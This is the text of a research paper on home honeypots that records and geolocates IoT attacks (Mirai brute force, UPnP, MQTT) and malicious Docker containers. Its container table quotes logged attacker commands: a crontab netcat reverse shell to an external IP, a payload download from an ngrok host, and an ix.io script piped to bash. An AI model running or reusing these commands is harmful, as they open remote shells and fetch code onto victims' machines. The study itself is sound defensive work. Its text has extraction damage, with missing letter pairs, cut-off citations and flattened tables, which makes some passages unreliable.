This paper collects information related to attacks that may a ect the security of home devices and software. In particular, we focus on i) IoT attacks, exploiting low energy consumption hardware or enhanced appliances, and ii) applications running in Docker containers, which is now a very common means to run lightweight virtual machines. To gather the attack information we adopt honeypots, i.e. programs that simulate well-known services and protocols, or systems that can be targeted by bots or malicious people. Honeypots log all the activity performed on their interface, without implementing the service completely. We use three di erent honeypots (Cowrie, Dionaea, and Whaler ), each of them able to simulate di erent services. All of them are installed on a Raspberry Pi by using di erent virtualisation technologies, and exposed to the world through a simple home data-connection. Information is then processed, queried, and visualised by using ELK.
In this paper, we investigate the security of home data-connections, to which all the
aforementioned systems are connected to in a modern house. To do this, we take advantage of
honeypots [
The study has been conducted by installing three di erent honeypots on a Raspberry Pi [
After gathering enough information about attacks, we take advantage of the Elastic Stack (ELK ) to process data and extract useful information about the security of smart-houses.4 ELK is a group of open source products designed to help users take data from any type of source and in any format and search, analyse, and visualise that data (also in real time).
The paper is organised as follows: in Sect. 2 we describe the software tools we use to collect, process, and visualise data about the security of IoT protocols and Docker containers. In Sect. 3 we report the main results we extracted from running the honeypots for some weeks. Finally, Sect. 4 wraps up the paper with nal conclusions and future work. 2
In this chapter we will describe all the necessary elements that have served us in order to carry out the study and to obtain the desired results. 2.1
Each honeypot has its own characteristics: emulable services, level of interaction with the
attacker, quality of the information collected. For this reason, we decided to install three
di erent kinds of honeypots in order to evaluate as more threats as possible. Honeypots may
o er di erent levels of interaction, depending on how much they are closer to the real service, or,
on the contrary, how much they o er higher level abstractions of it. We call medium-interaction
honeypots the ones that take advantage of low-interaction honeypots, and some functions of
high-interaction honeypots. Cowrie [
Dionaea [
Honeypot Cowrie Whaler Dionaea Dionaea
Protocol TCP TCP TCP UDP
Ports
22 (SSH),23 (Telnet)
2375 (Docker Unencrypted Socket)
21 (FTP), 42 (WINS replication), 135 (msrpc), 443 (HTTPS), 445 (SAMBA)
1433 (ms-sql), 1723 (PPTP), 1883 (MQTT), 3306 (mysql)
5060 (sip), 5061 (sip-tls), 8081 (HTTP alternative), 11211 (memcache)
69 (TFTP), 5060 (sip), 1900 (UPnP), 5061 (sip-tls)
(VOIP) (but not SSH and Telnet, for which we use Cowrie). In addition, it is possible to
emulate protocols typical of current IoT-based home-environment, such as SmartTV, CCTV,
or game consoles (e.g., PlayStation [
Finally, Whaler [
To conclude this section, in Tab. 1 we summarise all the ports of the services emulated by the three chosen honeypots, which we exposed and logged during out experiments. 2.2
The stack of programs that we use in our analysis is a collection open-source products including Elasticsearch, Logstash and Kibana. These three di erent products are commonly used in log analysis in IT environments. Logstash collects and analyses the logs, then Elasticsearch indexes them and stores information. Kibana nally presents the data in a dashboard. A fourth component is Beats, which is a platform for single-purpose data shippers.
Logstash allows for collecting data from multiple systems, where data can then be analysed and processed according to one's needs. The main components of Logstash are three: \input", \ lter" and \output". \Input" is the source of information, which can be of any form (Database, File, Stream). Multiple sources can coexist with each other and at the same time. \Filter" is a parser capable of transforming data. When data is collected by the \input" component, events are ltered using plug-ins, and converted to another format. There is also the possibility 6To run the Docker daemon inside a container: https://github.com/jpetazzo/dind. 7Logz.io: https://logz.io. of creating new data starting from the initial ones. The use of lters is very important to determine additional information on the origin of the attacks. \Output" ensures that collected and transformed data is redirected to one or more destinations, even simultaneously. In the most common case, like ours, we transfer the modi ed data to Elasticsearch.
Elasticsearch [
Last but not least, Kibana [
We split the section in two, describing the experiment to test the security of IoT devices (Sect. 3.1) and Docker containers (Sect. 3.2). To enhance the security of the selected three honeypots, due to their exposition to attacks, we decided to dockerise them: a Docker container provides a layer of isolation w.r.t. the underlying operating system. A container version also simpli ed the installation and removal of honeypots. 3.1
The study carried out with these two honeypots focuses on the identi cation of IoT attacks starting from the collected metadata, and trying to identify their origin when possible. In order to achieve this, we left Dionaea and Cowrie active for a period of about two months: between mid-November and February 2019, with a one-month break between December and January, with the purpose to avoid di erent distribution of tra c due to holidays in many countries. In order to homogenise the results, we used Logstash (Sect. 2.2) to raise the events from multiple sources, to transform them, and merge the relative metadata to a single destination. This large amount of metadata (IP addresses, types of services, credentials, DNS, malware signatures) is queried and analysed with the purpose to identify the patterns of interaction.
We monitored all the services that Cowrie and Dionaea are able to log from Tab. 1, and
among them, we can distinguish through a set of parameters whether an attack is IoT or not,
including the behaviour of the malware. The goal of the attacks is clearly to take control of the
device. The attack phase generally takes place in two steps: the scanning of the devices to be
infected and the actual execution of the attack. Both phases are executed and managed by a
program which is Command and Control (CnC). This program scans IP addresses and, if it nds
one, it tries to connect to it by using a set of default credentials. If the combination of malware
credentials turns out to be right, the CnC transmits the malware to the device. Once executed,
the compromised device waits for any orders from the CnC. We can distinguish di erent IoT
malware families according to which ports they scan and which default credentials they use.
However, the attack pattern generally remains the same. In addition to malware behaviour,
we can identify other characteristic traits of IoT attacks, such as the default dictionaries and
the commands that are executed. The attacked port is a necessary but not su cient condition
to determine the type of attack. Attacks against the SSH protocol should be ltered for the
combination of attempted credentials. If the device has been successfully accessed, it is also
useful to combine the various scripts and commands. For example, an attack that includes
the execution of busybox 8 associated with the SSH service is an IoT attack for us, since it is a
conventional Mirai-malware behaviour [
Fig. 1 shows IoT attacks that didn't come from anonymous IP addresses. About 20; 000 attacks on IoT devices have been recorded, including 10; 000 from America, then Europe and nally Asia. In Fig. 2 we use lters to precisely locate the IP address of the attacker in a country.
In Fig. 3 we show all the attacks that Cowrie and Dionaea received, not considering only IoT attacks as previously introduced. By comparing Fig. 2 and Fig. 3, most of the countries with more attacks correspond, such as USA, England, Russia and the Netherlands. On the other hand, the result about China in Fig. 2 indicates a greater interest in attacking IoT protocols.
In Fig. 4 we show a chart ltering out all the attacks except those directed towards the MQTT protocol. At the rst place we have USA, followed by China.
In Tab. 2 we detail the attacks coming from the top 10 of the states that performed IoT attacks. We ltered the number of attacks based on some peculiarities that only concern IoT devices. For example, to lter the number of SSH attacks, we categorised them by the credentials that are used for IoT malware; in the following we report the malware the honeypots received during the experiment described in this paper.
We notice that the largest number of SSH attacks were carried out by IP addresses in the U.K. (24; 945), and the prevailing approach that used things to connect to this service is bruteforce, commonly used by Mirai. This attack vector attempts to access a device by using a list of well-known default account-credentials, as reported by the Mirai source code.9
Devices such as gaming consoles, Small-O ce Home-O ce routers [
Although many IoT devices have switched to SSH, we have found a large amount of Telnet attacks from the United States, about 34k, followed by China (3; 779), and China with 2; 035.
MQTT brokers are vulnerable to syn ood attacks. Through the Shodan [
Many devices like cameras, consoles and routers use UPnP for simplicity reasons. Thanks to this protocol, it is possible to facilitate their ability to automatically detect other devices on a local network, in order to communicate and share data. The main problem with this protocol is security, as the devices can be exploited for Denial of Service attacks, becoming proxies and making botnet searches di cult. As we can see in the Tab. 2, surprisingly we have a large amount of UPnP attacks from Brazil, about 75k, much more than the other countries.
Commands /bin/busybox/ecchi rm /.t; rm/.sh; rm /.human rm /dev/.t; rm /dev/human /bin/busybox rm /.nippon cat binfmt misc/.nippon;
In order to understand who really attacked our honeypots, we use DNS. To deduce, when possible, the names of the servers, we used Logstash to translate IP addresses as names, and use tools like the command line and the Shodan search engine. As shown in Fig. 5, 42:53% of attacks come from a private IP address. The underlying idea behind these attacks is to exploit the potential of anonymous proxies, in order to transform a single-source DoS attack into a distributed one (DDoS), making it much more di cult to mitigate it. The anomalous tra c sources are generally blacklisted according to the country of origin. However, by exploiting anonymous proxies, the attack not only spreads over more IPs, but also over multiple geographical areas, making blacklisting useless. The private IP address shown in Fig. 5 denotes an anonymous proxy. This kind DDoS tra c emerging from public proxies point to anonymisers is known as \Shotgun" DDoS attack.10
Most attacks against the Telnet protocol, as shown in Fig. 6, come from the private IP. This system covers 45% of total attacks. In second place we have as hostname hostby.channelnet.ie. This bot launches automatic XSS and SQL-Injection attacks, according to Abuseipdb11. It also attempts to access vulnerable SSH devices.
If an IoT device has an active SSH service and a combination of credentials compatible with the bot dictionary, then it becomes accessible. Table 3 displays which commands are most used for Telnet and SSH sessions collected by Cowrie honeypot. Table 4 shows the list of the ve most common passwords used to access the systems using the SSH protocol. Combining the credentials and the commands executed once we have access to the device, we have obtained interesting results. If we analyse Mirai, we have a perfect correlation between the passwords and the commands registered with those present in the source code.
Attack vector Bruteforce UPnP exposed to WAN Unencrypted MQTT RCE
Attack Type DoS NAT Injection, DoS MITM CryptoJacking
Malware Families Mirai, Ircbot n.a. n.a. n.a.
Finally, we are interested in the percentage of infections grouped by country, in order to understand the \most famous" malware per state. As we can see in Fig. 7, Mirai-sj is the most downloaded infection compatible with IoT systems, whose main origin is the United States, followed by Romania. As seen in Tab. 2, UK performed a great deal of IoT attacks on the SSH port, even though we did not nd any traces of malware. Another detected malware is downloader-js, is a Trojan horse that downloads malicious les from websites and runs them. The origin of this malware mostly comes from the United States and Germany. The third malware is trojan-generic, and that comes from Singapore. However it is not classi able as IoT due to the lack of useful information. The fourth malware is perl:ircbot-d. It exploits CVE2017-1000117 12 to distribute an Internet Relay Chat (IRC) bot. This vulnerability enables attackers to pass a crafted ssh://... URL to victims and execute programs on their devices. The malware is cross-platform and also a ects IoT devices. As for the classi cation of IoT attacks, we managed to classify 82% of the events received. Table 5 presents a classi cation of all the presented attacks based on their nature. 3.2
This honeypot remained active in June 2019: during this period, about 50 di erent IP addresses
installed a container on this honeypot at least once; some of them were installed for malicious
purposes. For each container Tab. 6 lists the related image, the origin of the attack, the
commands and any changes in the le system. Among the various containers installed, we
decided to include in the table the most interesting ones, i.e., with more information to be
analysed. As we can see in Tab. 6, in the rst container the attacker plans the execution of
some commands with the purpose to open a shell. Something rather curious, given that using
the command docker exec -it \container id" bash you obtain the same result. However, it is
more di cult to get information from a reverse shell than using the Docker primitives. We
deduce that the attacker wants to exploit the o ered aw more silently. In the second container
in Tab. 6, the attack is more explicit. A local HTTP tunnel has been created so that a web
server can be exposed in a simple way. Thanks to it, the attacker moves a le that can ne
executed using the crond service. The third container apparently has less explicit information:
no commands and changes to the host les. Instead, it is crucial to understand how the attackers
exploit such loopholes to launch containers capable of producing Bytecoin [
City Los Angeles Amsterdam Los Angeles busybox:latest Shangai
sh alpine:latest
Denver
Cmd echo '* * * * * /usr/bin/nc 94.37.210.156 21 -e /bin/sh' >>/tmp/etc/crontabs/root
Host File Changes /etc/crontabs /etc/crontabs/root curl {retry 3 -m 60 -o /tmp7ad4e9/tmp/tmp le6 e "http://d81bbf05.ngrok.io/f/serve?l=d&r=6 e"; echo "* * * * * root sh /tmp/tmp le6 e" > /tmp7ad4e9/etc/crontab; echo "* * * * * root sh /tmp/tmp le6 e " > /tmp7ad4e9/etc/cron.d/1m; chroot /tmp7ad4e9 sh -c "cron jj crond" none chroot /mnt /bin/sh -c curl -s -L http://pewp.5gbfree.com/ip.php >/dev/null; curl -s -L http://ix.io/1K8E j bash -s;
With the help of the ELK stack we were able to collect valuable information as the most used credentials, locate and enumerate IP addresses. The GeoIP lter of Logstash was essential to analyse the frequency and geographical distribution of attacks on IoT services. Three years after the DDoS attack performed by the Mirai botnet, the passwords associated with the attacks we logged are exactly the same as those used by the homonymous malware. If such obsolete malware continues to spread after all this time, it means that the security levels of our devices that we have at home is very bad. The safety of these smart devices should be implemented by default as they create a bridge between the physical and the connected world for a user. For this reason, the identi cation of devices can be simpli ed. Even when models or rmware versions are vulnerable, detecting such devices on the network can be particularly di cult. To mitigate this problem, IoT device manufacturers may adopt a uniform method to identify the version of the model and rmware on the network, for example, by coding them in a portion of the MAC address of the device. Thanks to this arrangement, the device would be visible to the user's home router, which could disable remote access until a security patch is released. In the future we plan to work on the prediction of attacks, by rst preprocessing the datasets collected during the study and then trying to classify attacks using the collected metadata, from which we will extract the features. In this way, it will be possible to improve the heuristics of future Intrusion Detection Systems.
This work has been supported by project \Rappresentazione della Conoscenza e Apprendimento Automatico (RACRA) (\Ricerca di base" 2018{2020). We also thank \Gruppo Nazionale per il Calcolo Scienti co" (GNCS-INdAM, \Istituto Nazionale di Alta Matematica") for supporting this research line.